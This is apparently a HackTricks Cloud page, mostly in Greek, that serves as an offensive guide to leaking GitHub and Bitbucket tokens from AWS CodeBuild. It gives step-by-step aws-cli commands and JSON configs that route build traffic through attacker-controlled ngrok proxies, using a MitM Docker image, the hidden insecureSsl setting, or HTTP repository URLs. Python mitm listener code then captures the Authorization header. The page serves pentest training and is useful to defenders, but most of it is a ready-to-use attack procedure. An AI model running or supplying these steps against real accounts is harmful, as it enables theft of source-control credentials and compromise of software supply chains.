AWS Codebuild - Token Leakage
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Ανάκτηση Github/Bitbucket Διαμορφωμένων Tokens
Πρώτα, έλεγξε αν υπάρχουν διαμορφωμένα διαπιστευτήρια πηγής που θα μπορούσες να leak:
aws codebuild list-source-credentials
Μέσω Docker Image
Αν διαπιστώσετε ότι υπάρχει authentication, για παράδειγμα για Github, στον λογαριασμό, μπορείτε να exfiltrate εκείνη την access (GH token or OAuth token) αναγκάζοντας το Codebuild να use an specific docker image για να εκτελέσει το build του project.
Για αυτόν τον σκοπό μπορείτε να create a new Codebuild project ή να αλλάξετε το environment ενός υπάρχοντος για να ορίσετε την Docker image.
The Docker image you could use is https://github.com/carlospolop/docker-mitm. Πρόκειται για ένα πολύ βασικό Docker image που θα ορίσει τις env variables https_proxy, http_proxy και SSL_CERT_FILE. Αυτό θα σας επιτρέψει να υποκλέψετε το μεγαλύτερο μέρος της κίνησης (traffic) προς τον host που υποδεικνύεται στα https_proxy και http_proxy και να εμπιστευτείτε το SSL CERT που υποδεικνύεται στο SSL_CERT_FILE.
- Create & Upload your own Docker MitM image
- Ακολουθήστε τις οδηγίες του repo για να ορίσετε τη διεύθυνση IP του proxy σας, να τοποθετήσετε το SSL cert και να build the docker image.
- DO NOT SET
http_proxyώστε να μην υποκλέπτονται τα αιτήματα προς το metadata endpoint. - Μπορείτε να χρησιμοποιήσετε
ngrokόπωςngrok tcp 4444για να ορίσετε τον proxy στον host σας - Μόλις έχετε το Docker image έτοιμο, upload it to a public repo (Dockerhub, ECR…)
- Set the environment
- Δημιουργήστε ένα new Codebuild project ή modify το περιβάλλον ενός υπάρχοντος.
- Ρυθμίστε το project ώστε να χρησιμοποιεί την previously generated Docker image
.png)
- Set the MitM proxy in your host
- Όπως υποδεικνύεται στο Github repo μπορείτε να χρησιμοποιήσετε κάτι σαν:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
Η έκδοση του mitmproxy που χρησιμοποιήθηκε ήταν 9.0.1, αναφέρθηκε ότι με την έκδοση 10 αυτό ίσως να μην λειτουργεί.
- Εκτελέστε το build & capture the credentials
- Μπορείτε να δείτε το token στην Authorization κεφαλίδα:
.png)
Αυτό μπορεί επίσης να γίνει από το aws cli με κάτι σαν
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Μέσω insecureSSL
Τα projects του Codebuild έχουν μια ρύθμιση που ονομάζεται insecureSsl που είναι κρυμμένη στο web και μπορείς να την αλλάξεις μόνο μέσω του API.
Η ενεργοποίηση αυτής επιτρέπει στο Codebuild να συνδεθεί στο αποθετήριο χωρίς να ελέγχει το πιστοποιητικό που παρέχει η πλατφόρμα.
- Πρώτα πρέπει να απαριθμήσεις την τρέχουσα διαμόρφωση με κάτι σαν:
aws codebuild batch-get-projects --name <proj-name>
- Έπειτα, με τις συγκεντρωμένες πληροφορίες μπορείτε να ενημερώσετε την ρύθμιση του project
insecureSslσεTrue. Το παρακάτω είναι ένα παράδειγμα της ενημέρωσής μου ενός project — προσέξτε τοinsecureSsl=Trueστο τέλος (αυτό είναι το μόνο που χρειάζεται να αλλάξετε από τη συγκεντρωμένη διαμόρφωση). - Επιπλέον, προσθέστε επίσης τις env μεταβλητές http_proxy και https_proxy που δείχνουν στο tcp ngrok σας όπως:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Στη συνέχεια, εκτελέστε το βασικό παράδειγμα από https://github.com/synchronizing/mitm στη θύρα που υποδεικνύουν οι μεταβλητές proxy (http_proxy και https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Τέλος, κάντε κλικ στο Build the project, οι credentials θα σταλούν σε clear text (base64) στην mitm port:
 (1).png)
Μέσω HTTP πρωτοκόλλου
[!TIP] > This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can’t abuse it anymore :)
Ένας attacker με elevated permissions σε ένα CodeBuild θα μπορούσε να leak το Github/Bitbucket token που έχει διαμορφωθεί ή, εάν τα permissions ήταν ρυθμισμένα μέσω OAuth, το temporary OAuth token used to access the code.
- Ένας attacker θα μπορούσε να προσθέσει τις environment variables http_proxy και https_proxy στο CodeBuild project δείχνοντας στο μηχάνημά του (για παράδειγμα
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Έπειτα, αλλάξτε το URL του github repo ώστε να χρησιμοποιεί HTTP αντί για HTTPS, για παράδειγμα:
http://github.com/carlospolop-forks/TestActions - Έπειτα, τρέξτε το βασικό παράδειγμα από https://github.com/synchronizing/mitm στην port που δείχνουν οι proxy variables (http_proxy και https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Στη συνέχεια, κάντε κλικ στο Κατασκευή του έργου ή ξεκινήστε το build από τη γραμμή εντολών:
aws codebuild start-build --project-name <proj-name>
- Τέλος, τα διαπιστευτήρια θα αποσταλούν σε απλό κείμενο (base64) στην θύρα mitm:
.png)
Warning
Τώρα ο επιτιθέμενος θα μπορεί να χρησιμοποιήσει το token από το μηχάνημά του, να απαριθμήσει όλα τα προνόμια που διαθέτει και να τα (κακο)χρησιμοποιήσει πιο εύκολα σε σχέση με την απευθείας χρήση της υπηρεσίας CodeBuild.
Untrusted PR execution via webhook filter misconfiguration
Για την PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution), δείτε:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

